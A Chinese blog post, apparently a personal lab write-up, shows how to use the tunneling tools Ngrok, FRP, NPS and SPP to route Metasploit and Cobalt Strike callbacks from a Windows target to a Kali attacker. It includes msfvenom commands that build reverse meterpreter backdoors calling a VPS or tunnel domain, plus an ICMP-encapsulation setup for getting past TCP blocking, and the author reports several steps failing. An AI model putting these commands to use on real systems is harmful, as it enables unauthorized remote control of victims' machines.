当前位置: 首页 > news >正文

内网渗透—内网穿透工具NgrokFRPNPSSPP

前言

主要介绍一下常见的隧道搭建工具,以此来达到一个内网穿透的目的。简单说一下实验滴环境吧,kali作为攻击机,winserver2016作为目标靶机。

kali 192.168.145.171
winserver2016 10.236.44.127

显然它们处于两个不同的局域网,此时要想通过msf来让winserver上线到kali是不可能滴。因为,kali处于另一个局域网内,winserver是找不到它的。那么此时我们就可以借助内网穿透工具,这个工具是处于公网中的,靶机是可以找到它的,然后这个工具再把流量转发到kali,不就可以实现上线了吗。有人可能会说,那我直接在vps安装一个msf不就行了吗。这个确实是可以,但是vps是要钱滴,而且你kaili那么多工具,你不可能全部都安装到vps上面吧。所以最终还是得利用内网穿透,来突破两个不同的局域网的限制,达到一个上线的目的。

Ngrok内网穿透

首先到官网注册一个账号。

地址:Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器

点击开通隧道,购买一个服务器,直接买这个免费的就行了。

协议的话这个工具支持三种,http、https、tcp。注意你这里选择什么协议开通的隧道,后面生成后门的时候就要选择相对于的协议。下面填的是kali的ip以及端口,其它密码啥的就不用管啦。

开通成功,点击客户端下载。

选择相对应的系统下载就行。

客户端执行下面命令,后面这串数字就是你隧道的id。奇怪的事情又来了,执行命令之后什么的反应也没有,实验步骤我也没有错啊。

./sunny clientid 210543434570

而且我直接复制它这个命令也不行,唉难搞。有无大佬知道为啥的,还恳请指点一二,有偿答谢。

这里我就简单说一下假如成功该咋样操作,msf生成后门,这里lhost绑定的是隧道生成的域名,lport绑定的是80端口,因为这个Ngrok这个网站默认是80端口,注意你隧道是什么协议,后门生成就用什么协议。

msfvenom -p windows/x64/meterpreter/reverse_http lhost=test1.free.idcfengye.com lport=80 -f exe >/home/wlw666/桌面/hhh.exe

设置监听,监听端口是你生成隧道时填的端口,然后直接run即可。靶机上的后门先把流量发送到Ngrok服务端也就是网站,然后由于前面我们kail作为客户端已经和服务端建立连接,服务端就会把流量转发到我们的kali,实现上线msf。简单来说就是Ngrok服务端充当了一个在公网的中转站,让两个不同的局域网进行交流。

FRP内网穿透

FRP和Ngrok都差不多,只是它支持的协议要比Ngrok多好多,可以说是进阶款的工具。使用起来也是非常简单滴,同理也有客户端和服务端。当然啦,也分linux和windows版本,下载相对应的版本即可,这里我就不放链接了,因为我找不到了,实验环境还是差不多的。

vps 8.xxx.xxx.xxx
kali 192.168.145.171
靶机 10.236.2.204

顺便说一下,使用这个工具需要一台vps。Ngrok不需要vps是因为它网站本身充当了vps。把服务端以及配置文件上传到vps,也就是frps和frps.ini。服务端配置文件默认使用7000端口进行通讯。

启动客户端。

./frps

 接着把客户端和客户端配置文件放到kali上面,也就是frpc和frpc.ini。修改客户端配置文件,顺便说明一下参数。

[common]
server_addr = 8.xxx.xxx.xxxx  //服务端地址
server_port = 7000            //服务端通讯端口[test]
type = tcp                    //隧道协议
local_ip = 192.168.145.171    //kali的ip
local_port = 1111             //本地接收流量端口
remote_port = 2222            //服务端转发流量的端口

启动服务端。

./frpc -c frpc.ini

此时我们的vps和kali,通过frps和frpc建立了连接。访问8.xxx.xxx.xxx:2222的流量会通过我们建立的隧道转发到192.168.145.171:1111。使用msf生成一个后门,注意你上面设置的是什么隧道,我们就要生成什么协议的后门。

msfvenom -p windows/meterpreter/reverse_tcp lhost=8.xxx.xxx.xxx lport=2222 -f exe >/home/wlw666/桌面/hhh.exe

设置监听,监听地址是kali本地,端口自然也是1111。

放到靶机上面去运行,可以看到服务端显示有IP连接。

成功上线msf。

NPS内网穿透

这个NPS支持的协议就更多了,几乎支持所有常见的协议。使用方式和Ngrok差不多,Ngrok就是基于NPS开发的。同理也是有客户端和服务端,下载相对应的系统版本即可。实验环境和FRP的一样,就不再赘述了。

下载地址:Releases · ehang-io/nps (github.com)

服务端上传到vps,这里说一下服务端配置文件主要的参数,其它的不用管也行。

##bridge
bridge_type=tcp     //隧道协议
bridge_port=8024    //服务端与客户端连接的端口
bridge_ip=0.0.0.0#web
web_host=a.o.com
web_username=admin  //网站默认账号
web_password=1234   //网站默认密码
web_port = 8080     //网站默认访问端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps

启动服务端。

网页访问一下,输入默认密码账号。

先新增一个客户端,备注随便弄个名字,其它密码啥的不用设置也行。

点击新建一个tcp隧道,客户id填我们刚刚创建的,备注随便,下面端口随便。2222是我们服务端接收流量的端口,1111是流量要转发到的端口。

客户端拖到kali上面,输入命令进行安装。

./nps install

说一下客户端配置文件主要参数。

[common]
server_addr=8.xxx.xxx.xxx:8024 //vps地址,端口要和服务端的一样
conn_type=tcp   //协议要和服务端一样
vkey=123456     //不用管

启动客户端,这个vkey就是你创建的客户端的唯一验证密钥。

./npc -server=8.xxx.xxx.xxx:8024 -vkey=sndudbk16evol2gv -type=tcp

msf生成后门,绑定的是vps的地址也就是服务端,端口是2222而不是1111。后门连接到vps的2222端口,然后转发到客户端也就是kaili的1111端口。

msfvenom -p windows/meterpreter/reverse_tcp lhost=8.xxx.xxx.xxx lport=2222 -f exe >/home/wlw666/桌面/1111.exe

设置监听,然后直接run。

后门放到windows上面运行即可上线msf。

SPP内网穿透

这个工具集成了穿透和隧道两个功能,既可以用来进行内网穿透也可以搭建隧道。如果在实战中遇到比较极端的环境,比如把tcp还有其它的协议封杀干净了,就可以用这个工具。

支持的协议:
TCP、UDP、RUDP(可靠 UDP)、RICMP(可靠 ICMP)、RHTTP(可靠 HTTP)、KCP、Quic
支持类型:
正向代理、反向代理、SOCKS5正向代理、SOCKS5反向代理
协议和类型可以自由组合
外部代理协议和内部转发协议可以自由组合

这里这个工具主要是演示一下隧道的搭建,这里windows靶机出站和入站我都封杀了tcp,演示一下icmp上线,实验环境依旧不变。

这个也是分客户端和服务端的,只不过它的客户端和服务端都是同一个文件。下载相对应的系统版本即可。

 工具下载地址:Releases · esrrhs/spp (github.com)

这个工具也需要vps才行,因为不像Ngrok有网站来充当vps。启动服务端,监听本地icmp数据。

./spp -type server -proto ricmp -listen 0.0.0.0  ##这里设置监听ICMP协议,全端口

靶机是Windows,所以还得下载一个Windows版本的spp充当客户端。靶机执行命令,但是奇怪的事情又来了,命令执行后一直报错。一直说无法连接到服务端???但是我服务端是放在公网的vps的,而且ping也能ping通。我真的想骂人了。各种奇奇怪怪的问题都能遇见,真的烦啊。

把本地1111端口的tcp流量,封装成icmp然后转发到服务端的2222端口spp.exe -name "test" -type proxy_client -server 服务端ip -fromaddr :1111 -toaddr :2222 -proxyproto tcp -proto ricmp

我又把服务端放到与靶机同一局域网的kali,居然又能连接上了,那为什么连不是vps的服务端,真的是cnmb。

这里我就当可以连接上vps的服务端了,然后说一下如何上线CS。生成两个监听器,一个监听服务端的222端口,一个监听本地的1111端口。

用app-2生成一个后门放到靶机上面运行,成功上线之后。你会发现上线用的监听器是spp-1,而不是生成后门的spp-2。这是因为如果我们直接用spp-1生成后门的话,它流量是出不来的,因为我们封杀的tcp嘛。spp-2生成后门的话它的流量只会在原地转圈,因为连接地址为127.0.0.1。再通过SPP把流量封装好,转发到服务端的2222端口,此时我们的spp-1监听的是服务端,自然是spp-1上线咯。

总结

这个实验我没有做成功,老是遇到一些奇奇怪怪的问题,烦死了。如若有师傅了解,还恳请指点一二,有偿答谢。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

相关文章:

  • Linux进程——环境变量之二
  • 【计算机网络】WireShark和简单http抓包实验
  • 软考:软件设计师 — 5.计算机网络
  • Git 从入门到精通:全面掌握版本控制(IntelliJ IDEA 中 Git 的使用指南)
  • 【LeetCode 随笔】C++入门级,详细解答加注释,持续更新中。。。
  • 【ESP32 IDF 软件模拟SPI驱动 W25Q64存储与读取数组】
  • 二、【Python】入门 - 【PyCharm】安装教程
  • C语言程序设计(二)
  • 疫情居家办公OA系统
  • 富芮坤FR800X系列之按键检测模块设计
  • 正则表达式概述
  • Django—admin后台管理
  • Java 实现分页的几种方式详解
  • MySQL之索引优化
  • 单片机主控的基本电路
  • 【css3】浏览器内核及其兼容性
  • 【Linux系统编程】快速查找errno错误码信息
  • Angular 响应式表单之下拉框
  • Apache的80端口被占用以及访问时报错403
  • EOS是什么
  • git 常用命令
  • IP路由与转发
  • java B2B2C 源码多租户电子商城系统-Kafka基本使用介绍
  • JS基础篇--通过JS生成由字母与数字组合的随机字符串
  • spring security oauth2 password授权模式
  • 强力优化Rancher k8s中国区的使用体验
  • 如何借助 NoSQL 提高 JPA 应用性能
  • 微服务框架lagom
  • 微信开放平台全网发布【失败】的几点排查方法
  • 为物联网而生:高性能时间序列数据库HiTSDB商业化首发!
  • 想使用 MongoDB ,你应该了解这8个方面!
  • PostgreSQL之连接数修改
  • # Redis 入门到精通(七)-- redis 删除策略
  • #HarmonyOS:软件安装window和mac预览Hello World
  • #include
  • (2)MFC+openGL单文档框架glFrame
  • (3) cmake编译多个cpp文件
  • (BFS)hdoj2377-Bus Pass
  • (二)Eureka服务搭建,服务注册,服务发现
  • (二十三)Flask之高频面试点
  • (附源码)php新闻发布平台 毕业设计 141646
  • (篇九)MySQL常用内置函数
  • (全部习题答案)研究生英语读写教程基础级教师用书PDF|| 研究生英语读写教程提高级教师用书PDF
  • (十)DDRC架构组成、效率Efficiency及功能实现
  • (十二)python网络爬虫(理论+实战)——实战:使用BeautfulSoup解析baidu热搜新闻数据
  • (一) storm的集群安装与配置
  • (原)本想说脏话,奈何已放下
  • (转)Sql Server 保留几位小数的两种做法
  • (状压dp)uva 10817 Headmaster's Headache
  • *Django中的Ajax 纯js的书写样式1
  • .java 指数平滑_转载:二次指数平滑法求预测值的Java代码
  • .NET CORE 第一节 创建基本的 asp.net core
  • .NET Core 控制台程序读 appsettings.json 、注依赖、配日志、设 IOptions
  • .NET CORE使用Redis分布式锁续命(续期)问题
  • .NET Framework Client Profile - a Subset of the .NET Framework Redistribution